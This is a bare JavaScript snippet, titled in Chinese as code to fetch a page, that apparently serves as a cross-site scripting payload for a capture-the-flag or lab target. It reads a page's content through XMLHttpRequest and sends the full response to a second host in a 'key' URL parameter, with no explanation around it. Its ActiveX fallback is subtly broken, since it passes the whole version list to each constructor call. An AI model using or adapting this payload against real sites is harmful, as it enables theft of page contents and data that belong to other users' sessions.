js获取页面的代码
//构建xhrrequest包
function
createXHR () {
var
request =
false
;
if
(window.XMLHttpRequest) {
request =
new
XMLHttpRequest();
if
(request.overrideMimeType) {
request.overrideMimeType(
'text/xml'
);
}
}
else
if
(window.ActiveXObject) {
var
versions = [
'Microsoft.XMLHTTP'
,
'MSXML.XMLHTTP'
,
'Microsoft.XMLHTTP'
,
'Msxml2.XMLHTTP.7.0'
,
'Msxml2.XMLHTTP.6.0'
,
'Msxml2.XMLHTTP.5.0'
,
'Msxml2.XMLHTTP.4.0'
,
'MSXML2.XMLHTTP.3.0'
,
'MSXML2.XMLHTTP'
];
for
(
var
i = 0; i < versions.length; i++) {
try
{
request =
new
ActiveXObject(versions);
}
catch
(e) {}
}
}
return
request;
}
//get方式
function
get (xhr, url) {
xhr.open(
"GET"
, url,
false
);
xhr.send();
return
xhr.responseText;
}
var
xhr = createXHR();
var
x = get(xhr,
'http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/'
);
get(xhr,
"http://test/login.php?key="
+escape(x));